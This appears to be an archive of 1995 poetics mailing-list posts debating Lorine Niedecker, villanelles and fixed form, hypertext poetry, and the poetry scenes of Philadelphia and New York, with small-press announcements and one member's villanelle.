Phone/fax 61 2 [redacted]. (02 [redacted]).

********** Australian Writing OnLine is a publicity and distribution service for Australian writers and publishers. For further information please email us at [redacted], write to AWOL PO Box 333 Concord NSW 2137 Australia, phone (02) [redacted] or fax (02) [redacted].

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526. Tony Green
Re: Geese and 'trolls'
Mon 23 Oct 1995

---

there was ann international garden gnome festival recently in New Zealand (where better, you might think) a live one did TV interviews he looked the part lawn flamingos, yes also indoor stuffed fabric flamingos a pair of these used to hang out in a house you could see into from the beach on Milford's golden (real estate) mile

Tony Green,
e-mail: [redacted]

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527. Romana Christina Huk
thanks, question, report
Mon 23 Oct 1995

Thanks to everyone for the info on CD-ROM poetry (I'm the one who originally asked for it). In addition to getting our library to purchase them, I'm now thinking of making a new one that would record the readings to take place at an international conference/festival I'm hosting at UNH next August. (More info on that event to follow in about a week or so. Ken Edwards posted a message for me about it last month when I was moving back to the States; plans are right now shifting and changing a bit because of the axe on NEH and other kinds of funding I'd applied for.) If anyone has ideas about what I might try to do (that's new) with such a recording, let me know.

I also need Steve McCaffery's new address if anyone has it (probably best to e-mail it directly to me at the address above). Thanks.

Romana

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528. **Schuchat**
Re: Niedecker/Zukofsky
Mon 23 Oct 1995

---

reading the various posts on LN's hometown & writing situation as condescending seems to me a natural response from a British perspective, but not an accurate reading from the American. differences between the class system/values in each culture.

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529. **Chris Stroffolino**
Re: Metroplex
Mon 23 Oct 1995

Beth R: Metroplex wasn't my term--Ron used it before me and I think maybe someone before him---so I can't help you DEFINE.... Ron S: Point well taken--Yes, there wasn't much academic affiliation back in the good old days--and perhaps the reason so many of my generation have gone "back to school" (if belatedly) may reflect a larger social/economic question that i wanted to raise as well as "a genuine urge to learn"... But the OTHER point I raised I think should be considered too-- There has been a noticeable decentralization it seems and aside from the lack of good bookstores in major cities (or just about anywhere) the idea of vital poetry communities as in say roughly 1953-1977 (I say roughly) in major cities has also been a source of frustration for many and I think is related to the skyrocketing rents that perhaps were systematically designed to divide the potentially "countercultural" forces from each other, etc. etc-- Since I am contemplating moving back to a large city (perhaps Philadelphia again, but wherever...) I certainly would like to see this change. But it seems more possible in places where the rents are a little cheaper and people are not so pressured by having to work 60 hours a week to pay for a phone-booth shaped (and sized) apartment--with little time for writing much less a "scene" that includes musicians and painters etc etc as much as poets.....chris

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530. **Patrick Phillips**
Re: BAAAAAAD villanelle!
Mon 23 Oct 1995

I would like to propose a sense of appropriation, no, taking back, that can be found in Lisa Robertson's X'eclogue. That is, that it is not the baaaaaad referent (form o form) thing - which to me speaks of a haven of rhetoric - but it is

language taken back from the proto-historical edifice - proved surgent, insurgent in the capacity of the pastoral to re-mean, to be a new language, a new history -- that means to de-edify. I still don't see, though I've seen the Bernstein, Berrigan, Bernadette de-formation and re-inrichment of trope/idiom, how language emerges new in the face of a villanelle. And granted, the eclogue is the echo there in the X, and the Virgilian edifice of state is ripe there. But Robertson, it seems to me (and please Lisa correct me if I flail) deftly sidesteps on purpose the trap of the rhetorical in order to flood the past historical male situation of the pastoral with the clear-eyed availability of language to the feminist/vocal present. This appears a clear attempt to re-invigorate, to take language, to speak. Conversely, it appears conversations on the viability of the villanelle center on how we can re-form. The rhetorical Issue (as in birth) of the villanelle is ripe, but compared to taking back language heretofore unavailable, it is still.

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531. **Patrick Phillips**
Re: vertical Blanking interval
Mon 23 Oct 1995

---

here, here! vertical blanking intervals...

|||||||||| (a picture of the Cleveland Indian)

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532. **Jeffrey Timmons**
Re: D.C. poets
Mon 23 Oct 1995

Hey, Mark,

could I receive this list when it's done? I spend a great amount of time in dc and would like to see some of these folks when I am there.

Jeffrey Timmons

On Mon, 23 Oct 1995, Mark Wallace wrote:

> *Will those poets on the poetics list who live in or around Washington, D.C. please send me their e-mail addresses? I'm compiling a list of such addresses so we can all be better informed about various D.C. poetry and other events.*
>
> *mark wallace*

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533. Steve Carll
Who you callin' cream-puff head?
Mon 23 Oct 1995

> *Dodie Bellamy:*
>
> *p.s. Someone pointed out to me that when I wrote in a previous post "cream puffs as big as your head" it sounded like I meant a specific person's head. In fact, I meant "cream puffs as big as one's head." I apologize if I ruffled any feathers with my sloppy language.*

Apology accepted.

Steve

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534. Robert Drake
Postmodern culture call fr Hypertext (forward)
Mon 23 Oct 1995

forwarded message, from PMC:

PLEASE RE-POST
Postmodern Culture -- Call for Work in Hypermedia

With the recent surge of interest in the World Wide Web and other distributed information systems, hypermedia projects are becoming both more numerous and more sophisticated. Postmodern Culture will continue to publish important offerings in hypertext and hypermedia, presenting works that extend and redefine electronic expression. At this point we would especially like to see conceptually challenging projects: texts that are genuinely multiple and whose multiplicity of discourse constitutes more than an auxiliary for traditional language and forms. We welcome both aesthetic and discursive approaches. This call goes out to philosophers, historians, ethnographers as well as artists of word and image.

Projects in HTML and other Web environments are preferable but we will consider other media as appropriate. Submissions must not have been featured in other electronic publications and should have had minimal exposure to date. Copyright if any must be held by the author(s). To offer your work for consideration, please send a letter or e-mail containing a brief description of your project. Please include a URL if your text is accessible through the World Wide Web.

For further information please contact Stuart Moulthrop,
[redacted].

---------- luigi

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535. **Aldon L. Nielsen**
Re: informalism
Tue 24 Oct 1995

Mark --

Wish I could be there for all those readings -- a year in L.A. doesn't turn up as much of interest as that listing --

Sounds from your post and Mr. Smith's that you just had the same discussion I had over a beer fifteen years ago after another D.C. reading -- What's of interest, to me, is a poem that takes the ideological history of its own form as part of its formal workings -- a formal working like the semantic grinding Williams did on the word "rose" -- stripping off its old connotations so that it can be used to mean that (like "love") again -- never boring, no matter what you might hear --

Poems in "new" forms that do not take into consideration their own placement in the language and/of politics are, again to me, just as boring and reactionary as last week's workshop sestina --

But, it's hard to do -- Take the form of the drunken poets' post-reading contention -- hard to make it do something new, but it can be done --

A group of us solved the form/content problem once and for all back in 1989, but since we were drinking too much (at the Hawk & Dove, of all places), none of us could ever remember the solution afterward --

on the other hand, they may have just discovered a planet outside our solar system --

Any form can instigate new modes of thought and of being in the world -- most forms most of the time do not --

Say hello to Rosmarie Waldrop for me when she gets there -- We had a little party for her years ago when she read at WPA, but I haven't had a chance to see her since --

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536. **Aldon L. Nielsen**
Re: the responsibility of the text
Tue 24 Oct 1995

Mark too -- take a look at Derrida's _The Ear of the Other_, where he takes up exactly that question, using the example of Nietzche -- It's not sufficient, he says, to say simply that the Nazis misread Nietzche, or that Nietzche is implicitly a Nazi (this should remind you of some recent arguments about the supposed totalitarian nature of modernist form) -- we must produce readings that account for the means by which those interpretations were produced -- It's important to read the American academic appropriations of poststructuralist thought fully, not just to dismiss them --

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537. **Chris Stroffolino**
Re: BAAAAAAD villanelle!
Tue 24 Oct 1995

Thanks for mentioning Lisa Robertson's work, Pat...

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538. **Tenney Nathanson**
re
Tue 24 Oct 1995

> *ate: Mon, 23 Oct 1995 09:46:23 -0400*
> *From: Mark Wallace <[redacted]>*
> *Subject: BAAAAAAD villanelle!*

an all around terrific post. more later I hope, but meanwhile appreciation for the remarks on form and/as/or (its) politics, ditto the effect(s) of theory.

I've gone backchannel w Chris S re Dickinson and rhyme, but I can't see how Ashbery's, or Auden's for that matter, weird sestinas and ballads and so on CAN'T be "for use" (cits) & etc. Ditto, to revive an old though brief thread, the Audenesque ballads of Merrill in /Braving the Elements/.

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539. **Tenney Nathanson**
examples (complete w illustrations?)
Tue 24 Oct 1995

> *Date: Mon, 23 Oct 1995 10:22:09 -0500*
> *From: Jordan Davis <[redacted]>*
> *Subject: Re: BAAAAAAD ass song*

> *Mark,*
>
> *One could be old-fashioned and insist that you have to follow the path of most resistance--pick up your copy of the Handbook of Poetic Forms by e-mailing to yours truly at Teachers & Writers Collaborative--and then one could opt for an even more out-of-date path... e.g. do what you want to when you want to if you can hear how to... discussions among poets about what is and isn't possible... are nonsense*
>
> *Jordan*

right. I remember some non-poet friends telling me the thing to do was to figure out what couldn't be done, spozedly, in poetry today, and then set about doing it. I settled on comissioned occasional poems (though Ashbery actually wrote a couple), thinking of Upon Appleton House etc., but have not yet (this was a decade or more ago) actually taken up the challenge. But I still like the idea. And the idea I guess would be to be not TOO obviously/grotesquely parodic (though shodding a head in a canoe wd be ok....)

Tenney

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540. **Tenney Nathanson**
and future....?....
Tue 24 Oct 1995

> *Date: Mon, 23 Oct 1995 10:26:59 -0500*
> *From: Jordan Davis <[redacted]>*
> *Subject: Re: BAAAAAAD ass song*
>
> *Mark*
>
> *Omitted my last sentence: "Of course, nonsense can be productive."*
>
> *Jordan*

ghosts of Davids past....

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541. **Tenney Nathanson**
more ghosts of more past Christmases
Tue 24 Oct 1995

> *Date: Mon, 23 Oct 1995 11:39:53 +0000*
> *From: cris cheek <[redacted]>*
> *Subject: Re: desire / and the 39 steps*

> *scorn, culling her unguent sheets - what a sickening, cloyish expression - she pastes these letters with her bloody fingers dabbed from flour and sugar onto fog-bloomed film. fireworks bring fibre to earth, usher materials boiled from glossy taxonomies into theme.*

having just taught Williams today (you can teach him but you can't teach him much) this reminds me weirdly of the prose sections of /Spring & All/. Schoenberg (was it?) on Grosse Fugue etc (eternally modern that is)

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542. **Kevin Killian**

Re: Niedecker/Zukofsky

Tue 24 Oct 1995

To: Richard Caddel . . .What does "unblinkered" mean, in one's reading of the "place" where LN lived?

Please explain. Also, "unsupportable," "failing," "failure," "unwittingly."

It's like we are all bozoes except for you and your proposed sympathetic, unblinking reading of the place.

Think of us instead as little children, who aren't old enough to understand everything in the adult world, who indeed find pity in everything, but who have generous and loving hearts nevertheless and who are easily hurt and shocked by the cold adult eye.

Think of us reading LN and finding plenty of evidence that indeed she felt cramped, stifled, overworked, and marginalised by her position in society and in fact on the map of the US, evidence that supports a blinkered reading.

Please don't feel that American readers of LN are clowns who only prefer our own bourgeois lives to the life she led because we are selfish tourist type people. You know, Richard Caddel, that we are all tourists whirling around from place to place, even if we never leave our own little villages. The world still comes in through every crevice in our playrooms and leaves an inevitable residue of hurt and pain. When I read LN I find that the suffering and abjection so marvelously proposed, crystallized, redacted in her work is what holds me closest to it, not her solidarity with fellow citizens of whatever the town is where she was and how she was concerned about them. We do not think of her as "mute", on the contrary, she is still speaking in a way. Still her status as a poet not widely known in her own lifetime, in fact not so well read today, is kind of like a creepy experience of feeling the other, a shadow self, the uncanny.

Think of us as willing her into our own lives in whatever shape we can, and yet knowing that she of course has no knowledge of us, she in that regard is the blind blank uncomprehending blinkerered sphinx we try to read. Thanks for listening! Yours-Kevin Killian

> *The generalisations about LN's homeworld, and the disparaging tone of phrases like "sad little shack" and "the poorness of the lives" are more important: (a) they show a real failing to read LN, her enduring commitment to and concern for that place and its lifeforms, as it's asserted over and over in the poems (and for those who still won't trust poems, it's in her letters too) (b) they suggest a failure to read the lives of the people who live there at other than the most superficial level (in the manner of those papers of central government which outline the case for the "resettlement of the rural poor") (c) they contribute, albeit unwittingly, to the continuing patronisation (sic) and writing-down of Niedecker's achievement as "poor little home-body" or "mute inglorious milton" - in a way which I find unsupportable.*
>
> *A sympathetic, unblinkered reading of the place would be a valuable asset in reading Niedecker. I worry that such a reading becomes less likely between the local heritage brigade and the blank incomprehension of tourists.*
>
> *xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*
> *x x*
> *x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x*
> *x Durham University Library, Phone: 0[redacted] x*
> *x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x*
> *x x*
> *x "Words! Pens are too light. Take a chisel to write." x*
> *x - Basil Bunting x*
> *x x*
> *xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*

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543. **Ron Silliman**

Re: Metroplex

Tue 24 Oct 1995

I forget whether it is Houston or Dallas that refers to its larger metropolitan area as the Metroplex, but I was basically punning off of that and the idea of complex (as in "he has a complex").

Rents and the other difficulties of major urban areas are indeed an issue. As late as 1978, I had one seventh of a seven bedroom "mansion" on California Street (baja Pacific Heights) in SF for a vast sum of $50 per month. I pay 20 times that amount now.

There are also issues, such as, the distractions of certain areas (the way poets in LA get sucked into the film industry or the way they used to get sucked into the art gallery/critique world in NYC when there was still some capital there). In SF, poetry was "always" (from 1955 forward anyway) one of the "major" art forms of the area and didn't have to compete with the fine arts scene etc for print space. In other cities, one of the major questions is how to have a serious discussion about the poetry one loves when there are only a handful of other folks in the city who will know what the heck you are talking about. Occasionally, enough people come together to make something real congeal, as has happened at times in the DC area, and in San Diego and I presume must be happening now in Detroit.

The decentralization of the avant-garde is a profoundly important (and good) thing. There will be much greater variation in the long run, tendencies will cohere and create new things, with a broader range to view and choose from, than if it retains the old two or three major urban area focus.

In Russia, of course, there's the same competitive feel between Moscow and St. Petersburg as there ever was betwixt SF & NYC (as in "Oh, Arkadii's a Moscow poet stuck in St Pete"), with the ancillary assumption that nothing much is happening in Vladivostok (I actually heard a writer from there give a great talk on Borges once).

All best,
Ron

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544. **Chris Stroffolino**
Re: Metroplex
Tue 24 Oct 1995

Dear Ron--this should almost be a backchannel question. But I will ask it anyway (in the spirit of the discussion on Minneapolis a few months back): Why do you think Philadelphia has not been able to produce a kind of self-reproducing scene that has sustained itself as much as say Washington DC? It's a much bigger city and has some resources that could definitely be tapped. I know you are new there--but when i was there I was able to bring certain poets who suprisingly would not have come otherwise to a downtown art gallery for VERY LITTLE MONEY. I felt bad about the sums I paid out, and even worse in some ways that I had to almost pull teeth to draw audiences for Carla Harryman, David Shapiro, Leslie Scalapino, Alice Notley, Alan Davies for instance as well as Bob Perelman (who at that time had just moved to Phila.)--(to name some of just the most famous--I'd have to list too many other names however to stave off potential charges of being a "starfucker"). Anyway,

TEMPLE does do better in terms of bringing poets in than many institutions of similar size (say, SUNY ALBANY) and there has been The Painted Bride there as well at least enough magazines for someone to "get started" (Phila. was definitely MY springboard in that sense). And now perhaps Perelman will have more power at penn---when I was there he didn't have much--taught no grad classes, etc. Now I hear they are letting him bring poets in. to read in the series. Yet though there are magazines and series, there are not book publishers or even chapbooks. Nor is there much of a salient community---It's like every time something gets started, someone moves to japan or albany, etc. Again, the nomadism that careerism entails etc that many married friends of mine have had to negotiate in thorny ways (though it effects us all, and to add insult to industry their ideological justifiers speak of "family" and "hometown" values--- oops, sorry, digression)--Anyway, I am definitely PLUGGING Philadelphia despite the seeming negativity. It is afterall by far the cheapest big east coast city (Albany and even providence has rents about as hi and albany, at least, unlike Phila. is not a WALKING CITY). Perhaps the proximity of NYC effects it. Effects it negatively. But it COULD affect PHILA. positively (aside from the poets I had read that wanted to VISIT BOB or GIL OTT anyway, I probably could not have gotten as many to read there for the price I paid had it not been for NYC proximity)... Anyway it seems that a more livable and viable scene could exist there than exists in NYC (the problems at St. Marx; the recent inbreeding at the EAR--the lack of communication among "factions" etc)--- So what the hell I'm the pied piper....chris

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545. Joshua Mckinney
BAAAAAD villanelle (fwd)
Tue 24 Oct 1995

Good people:

Mark Wallace has suggested that I forward the following post to the members of the poetics group. Perhaps it will further the ongoing discussion. Perhaps not.

---------- Forwarded message ----------
Date: Tue, 24 Oct 1995 08:19:32 -0400 (EDT)
From: Joshua Mckinney <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: BAAAAAD villanelle

Mark,

I agree with you on the issue of prescribed form and its usefulness. As for the villanelle, David Shapiro offers some interesting renovations. I have been interested in villanelles for some time now, and so I offer the following poem (from the previous summer) as a token of our shared interest:

No Oasis

Where God is absent, creation can begin.
Now, before the silence of what's next,
the author disappears and starts again.

At any point upon the track, a thin
light leaks through cracks left in a text.
Where God is absent, creation can begin

to blend and clash. The spirit is to win
as _air_ defeats _the air_. Without context
the author disappears and starts again

to build a world, a golden weheel to spin
it on--and all its method circumspect.
Where God is absent, creation can begin;

it leaps into a distance without end
where land moves always as the wind directs
the author disappears and starts again

to ask a question of the shadow in
each word which echoes in the clamor of a next
where God is absent. Creation can begin
to disappear. The author starts again.

Jabesian influence, of course. Speaking of Jabes, I am reminded that in _The Book of Questions_ he writes,

"Who am I," I asked.
"Who am I," I replied.
Repetition is an achievement in its difference.

It seems to me that this passage speaks to the possible discoveries offered by prescribed forms, especially in the area of duration. I'm also thinking of Ashbery and the use of "fixed" forms as generative device.

Have a student here to see me.

Best,

Josh

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546. **Chris Stroffolino**
Re: Villanelle
Tue 24 Oct 1995

Tom Kirby-Smith, could you share with the list more about May Swenson--(not to be confused with may "the fur person" sarton). She isn't much talked about, and I'm curious how you would talk about her--or which poems you would direct one to, etc. Thanks, cs.

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547. **Jordan Davis**
Re: Metroplex
Tue 24 Oct 1995

Chris

> Anyway it seems that a more livable and viable scene could exist there
> than exists in NYC (the problems at St. Marx; the recent inbreeding at
> the EAR--the lack of communication among "factions" etc)---
> So what the hell I'm the pied piper....chris
>

Thanks for bringing this up. The problems in NY have made it just about unliveable (for the last hundred years) and the problems in the community are as severe as they can get. However, all these good poets have moved to NY lately. Much more _hope_ for an intelligent and friendly scene than there was five years ago, and the frequently-commented on EAR trouble is just a growing pang of the coalescing group, if you ask. St Marks, well, it's a nice gig... anybody see Ed Friedman's _Mao & Matisse_? And as for the "factions" well nobody says you have to like everybody's poetry.. and what factions anyway? EAR/post St.marks/nuyo? perf/visual/lang? David Cameron/Douglas Rothschild/India Hixon? There's a little _horror vacui_ people get looking at NY from the periphery. And then there's the total hostility everyone embodies as soon as they arrive. NY would be richer for your presence Chris (probably). Which usually means hey we're gonna bleed you dry...

The welcome wagon,
Jordan

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548. **H. T. KIRBY-SMITH**
Villanelle
Tue 24 Oct 1995

I have heard of poetry-writing workshops in which students were required to write a villanelle, as if to do so were some sort of necessary basic training. The Army used to require recruits to "duck-walk" great distances; then it turned out that this ruins people's knees.

All those complex forms originated in Romance languages at the time (1300-1550) when poetry was separating itself from music. The two art forms became too complex to work together, as they had previously in Church music and in troubadour songs. Because there are many more rhyme possibilities in these languages than in English, they were not all that hard to use, but nevertheless were highly artificial (in both good and bad senses).

Then the French revived them in the nineteenth century, as a form of Romantic medievalizing, somewhat as English poets revived ballads and folk songs. Then English poets (Dobson, Wilde, Swinburne) imitated what the French were doing. The oddest thing is that in America certain formalist poet/critics have latched onto these Romantic-revival forms as if they were traditional and "classical." Actually the best villanelles have been written by romantics like Dylan Thomas and Roethke.

My own feeling is that there are probably enough villanelles in the world to satisfy pent-up villanelle demand. The experimental formalism of May Swenson is much more exciting. But because you really have to work to see what she is up to--even when the poems are easy to read for other reasons--she attracts little attention. She's not even in the Norton Anthology of Modern Poetry. But that's OK. Just look at some of the anthologies published around 1910; along with a few reconizable names are scores of "important" figures long since consigned to oblivion.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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549. **Joe Amato**
Re: Hypertext & Poetry Possibilities
Tue 24 Oct 1995

well permit me to be a bit promotional FOR jim (rosenberg): if part of what poets do is to explore and construct new forms, why then why not do so?... at

the risk of preaching to the choir (and why i feel i must is a thing worth considering), we should all, to the extent we have access to same, at least be willing to look with an informed eye at what's going down in the electronic world---cd rom, hypertext, html, what have you...

there are poets who still rage against the benefits of *this* medium, and perhaps it wasn't that long ago that some of us might have been a part of that resistance...

jim's own work, *intergrams* (eastgate quarterly review of hypertext volume 1, number 1) is most definitely worth checking out, as are (what i like to call) his liner notes, "openings: the connection direct, personal notes on poetics"... i found his re/dematerializing of text on the screen just fascinating... though i prefer the term multilinear to non-linear, in any case the work, as jim indicates, opens new structural possibilities...

i'd like mself to see more active interrogation of such work by folks on this list...

and of course i include mself in all we's & us's employed herein...

joe

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550. **Charles Alexander**

Re: informalism

Tue 24 Oct 1995

> *-- What's of interest, to me, is a poem that takes the ideological history of its own form as part of its formal workings -- a formal working like the semantic grinding Williams did on the word "rose" -- stripping off its old connotations so that it can be used to mean that (like "love") again -- never boring, no matter what you might hear --*

I might argue that it's impossible NOT to take form in this way, but that it is just as valuable, and perhaps more, if the consideration of the ideological history, or other formal imperatives, are implicit rather than explicit.

> *Poems in "new" forms that do not take into consideration their own placement in the language and/of politics are, again to me, just as boring and reactionary as last week's workshop sestina --*

Perhaps you do mean that one has to acknowledge such placement, rather than simply use it, which I would contest.

all best,
charles

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551. Charles Alexander
Re: Hypertext & Poetry Possibilities
Tue 24 Oct 1995

Terrific post by Jim Rosenberg, as are all of his comments on multimedia possibilities for language presentation.

> *The thing that has excited me is the possibilities hypertext methods allow for word *structure*. Since my undergraduate days one of the things I've wanted to do with words is put them (literally) on top of one another. Painters juxtapose, composers put sounds on top of one another, there's no reason poets shouldn't do the same. But there's a problem: when you put words literally on top of one another, they tend to *interfere* to the point of unintelligibility -- regardless of whether you do it orally using simultaneous voices, or visually on the page. Interactive software methods allow you to put words on top of one another and *sacrifice nothing* in the way of intelligibility: using the mouse one can navigate the layers and read all the words, yet those words reside in the same place.*

This seems to me best done in print by layering of papers, including transparent or translucent ones. While it can probably be done with less expense with interactive software methods, there is something else with words on paper, which is the physical fact of language as tangible substance. I remain attracted to that, although not to the extent of being a luddite about other possibilities. Still, I think when one presents what hypertext and computer renditions can do with the visual/structural presentation of language, I think one needs to understand that all such possibilities at this time are innovative and highly experimental. Therefore, it may make more sense to contrast them not with standard printing/binding/book practices, but with innovative and experimental possibilities in such media.

charles

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552. Judy Roitman
Re: Hypertext & Poetry Possibilities
Tue 24 Oct 1995

Let me second Joe Amato -- Jim Rosenberg's stuff is terrific. You stroll through it, take your time, come back later, move across or up or down, or just burrow deeper into a particular spot on the page (whoops screen)... and screens connect to other screens..

Who else is doing this kind of stuff? I don't just mean using hyptertext, I mean *really* using it.

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553. **Jim Rosenberg**

Hypertext & Poetry Possibilities

Tue 24 Oct 1995

It's a bit difficult to respond to the postings on possibilities of hypertext for poetry without sounding blatantly self-promotional, since that's what I've been doing for about the last 8 years or so. All of my work runs only on the Mac at present, alas -- I'm hoping one of the promised tools for getting Hypercard stacks to run under Windows will materialize before I spend the work to port my stacks by hand into something like ToolBook. I have some snippets on my Web site, but they don't really convey what the actual work feels like.

The thing that has excited me is the possibilities hypertext methods allow for word *structure*. Since my undergraduate days one of the things I've wanted to do with words is put them (literally) on top of one another. Painters juxtapose, composers put sounds on top of one another, there's no reason poets shouldn't do the same. But there's a problem: when you put words literally on top of one another, they tend to *interfere* to the point of unintelligibility -- regardless of whether you do it orally using simultaneous voices, or visually on the page. Interactive software methods allow you to put words on top of one another and *sacrifice nothing* in the way of intelligibility: using the mouse one can navigate the layers and read all the words, yet those words reside in the same place.

Of course, to state the obvious: hypertext allows words to be brought together with *inherently* non-linear structure; what interests me about hypertext is not so much using hypertext to assemble linear documents but rather a poetry written directly in a non-linear structure. The possibilities truly are endless.

The word processor has arguably done a lot of damage to the cause of poetry; by making it so easy to enter words into the computer, the word processor disguises the fact that it is just as constraining as the typewriter. Graphics programs let the words be placed anywhere in the graphical space, and in that regard are much better, but best of all is completely interactive software like ToolBook or Hypercard.

I don't want to start a religious war but I have a lot of mixed feelings about HTML. The Web is *wonderful* as a community medium, but at the moment HTML provides virtually *nothing* in the way of artistic control over interface behavior. Java has a lot of promise as an interactive medium, but with (at the moment) a very steep learning curve. [Java is a programming language for Web applications created by Sun Microsystems, and Netscape is supporting it in their Web browsers.] What we really need is a cross- platform Hypercard-like front end to create Java applications. (Stay tuned, this will surely emerge.)

There is a whole Net community of hypertext writers and literary types, and we badly need more good writers. Here's hoping members of this list *do* take up hypertext!

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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554. Mark Roberts
AWOL: SCARP magazine
Tue 24 Oct 1995

SCARP 27 is now available. It features poems by Coral Hull, John Kinsella, Andy Kissane, Shane McCauley, Deb Westbury and many more; plus short stories by John Millett, Lola Stewart, and Sue Saliba. As well, we feature an extract from John A Scott's next novel. There is also graphics and a review of recent poetry by Mark Roberts.

Now available from Gleebooks or the Faculty of Creative Arts, University of Wollongong, Northfields Avenue Wollongong 2522.

********** Australian Writing OnLine is a publicity and distribution service for Australian writers and publishers. For further information please email us at [redacted], write to AWOL PO Box 333 Concord NSW 2137 Australia, phone (02) [redacted] or fax (02) [redacted].

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555. R I Caddel
Re: Niedecker/Zukofsky
Tue 24 Oct 1995

Dear Dodie,

I know you're only kidding when you spell my name "Cadel". The write-down Niedecker movement has been big in its time, and has always included US and UK men and women who should've known better (and her supporters and publishers were also on occasions aghast at the circumstances of her life). Davie, I guess, was in the praise-with-faint-damns end of things, along with those who called her work "delicate" or "slight" or even "wispy" - but he wasn't alone. Hopefully that school's on the decline and more accurate readings are on the increase - and perhaps when there's a good edition of her work available, the Niedecker Vigilantes can stand down.

But because there IS still a current of "My God! How could anyone actually LIVE there?" - and because your slightly-parodied-revisioning was so complete, I'm afraid I linked your "sad little shack" and "poorness of the lives" (which are pretty disparaging phrases - this side of the Atlantic) to the more general malaise: hence the generalisation of my address. Sorry - but pleased to know the linkage was misplaced.

I've just got no idea how sad your dad's tool shed is. My dad's shed needs painting, but seems quite emotionally stable. Our own shed collapsed last week - couldn't take the strain...

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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556. **Joe Amato**
Re: Hypertext & Poetry Possibilities
Tue 24 Oct 1995

---

charles, i agree with you about contrasting hypermedia etc. with innovative print practices---insofar as more formal considerations go... but part of what's at stake here is a matter of the publishing/distribution networks both of print work, innovative and otherwise, as well as electronic form...

by which i mean simply to say that there are publishing/distribution networks out there that define themselves in terms of practices that are stubbornly resistant to the formal innovations you or i may have in mind... and that the emergence of electronic form augurs (potentially now) a sea change simply because these selfsame print 'communities,' albeit resistant to print innovation per se, are now finding themselves incapable of resisting electronic 'intrusion' of one sort or another...

pardon my momentary evangelicalism, and not to 'bypass' any particular genre or form or press... but methinks there is much that can and should happen in more staid academic circles re innovation, and that the work coming out of same profits from "comparison" both with more innovative print work as well as emerging electronic form...

all best////

joe

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557. **Eryque Gleason**
Re: Hypertext & Poetry Possibilities
Tue 24 Oct 1995

Tom Beard posted about his stuff a while ago, particularly "27" and I'll jsut add that i thought it was great. as i recall his page had some links to various other cumminglings of on-line hypertext stuff, probably a VERY useful place to start...

"27" is at http://metcon.met.co.nz/nwfc/beard/www/notes27.html#readings

his library is at http://metcon.met.co.nz/nwfc/beard/www/library.html

there's probably links to at least two dozen on-line journals and other publications, many of which are good *hypertext* as opposed to good html. (i make the distinction between hypertext and html, many people don't. when i type hypertext, i'm talking about the content, html is the code implementing that content)

at any rate, Jim Rosenberg's stuff, along with Tom Beard's stuff make for a good primer of sorts....

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems.

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558. **Ken Edwards**
Terry Riley/Olson
Tue 24 Oct 1995

Like Herb Levy, I was intrigued by the forthcoming performance at the Huddersfield Contemporary Music Festival of Terry Riley's Olson III - not least because I'm supposed to be performing in it! In one of my other lifetimes I work with a group called Contemporary Music Making for Amateurs, which will be performing the piece on 18 November.

So far I the only information I have is that it is a piece for chorus (not necessarily trained voices) and was written as a companion to In C, but has only been performed once before (presumably in the 1960s, when it was written). I hope to find out more in the next few days - including whether there is a connection with Charles Olson - and will report back.

- Ken

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559. **Kenneth Sherwood**
Open Letter to Mark Wallace
Wed 25 Oct 1995

-=----------
Open letter to Mark Wallace

Of course you already know the answer to your question, that of course no FORMS in themselves are BAD. What you really want to know is why self-defined 'experimentalists' react so badly towards the notion of writing within 'traditional forms.'

Here are two possible reasons: (1) In these Post-Projective-Verse times (and, really Mark, this is the only 'post' I'm going to admit) the interest in open field leads to a prejudice towards open form. As in: Free Love Free Mandela Free Verse!

We know that the same 'presentational' possibility (poem as act of instant rather than twice removed thought about) can be achieved in sonnet, but we imagine many of those sonneteers are making themselves after a different image (hold a mirror up to nature).

Reason (2) is frank annoyance on part of self-proclaimed experimentalists at the ease with which sonneteers and their peers proceed in poetizing their prose with the filigree markers of 'traditional poetry.'

Neither position defensible, exactly--the latter particularly, recalls Wystan's point that, on some level, the self-marginalizing expermentalists really just want to be loved as much as Amy Clampitt or Donald Hall.

Hugs,
Ken
(p.s. I feel more victimized by the Possum's Sonnets than by
High Theory)

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560. **Spencer Selby**
mag list update
Wed 25 Oct 1995

Charles has asked me to post an update of my mag list to POETICS, and I am happy to comply. Please send info about possible additions, address changes or mags which have folded.

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561. **Ron Silliman**

Metroplexities

Wed 25 Oct 1995

Philadelphia, hmmm? After 5 months, I have been to exactly two readings, one of which I was part of. I'm aware of a third (in Camden actually) that I would have liked to have gotten to. But it does seem to be a pretty quiet scene. Although there are some very fine poets here whose work should be more broadly known--Julia Blumenreich, Phyllis Wat, Eli Goldblatt, Heather Thomas,

Alicia Askenase, Gil Ott, for example--I think that the "pull" of NYC on a younger poet must be pretty strong. One has to look at who lives here and why. Bob Perelman, Toby Olson, Rachel Blau DuPlessis, and Goldblatt, for example, all have teaching jobs that have brought or kept them here. Ott was a local who returned from San Francisco (Bolinas, really) after health problems required him to spend some time back at his parents, got involved in the Painted Bride (which just laid him off after 15 years of service in a downsizing effort that seems spectacularly dunder-headed) and developed that entire scene. I first met Blumenreich when she was a student, another local person. She stayed and married Gil, but seems to be the sort of person who under other circumstances would have seriously thought of moving somewhere that provided better access to a larger scene. I've met exactly one "student poet," Joshua Schuster. In all, what I have at this point are impressions. I must say that the reading Rae Armantrout gave at Penn was well attended, although almost exclusively by students and faculty at that school. When I read at Temple in early '94, I similarly got a great audience, which was doubly amazing since it was on short notice, my first attempt having been thwarted when the school (and city) shut down due to an ice storm. They don't deal with winter as easily as the folks in Buffalo, I must say.

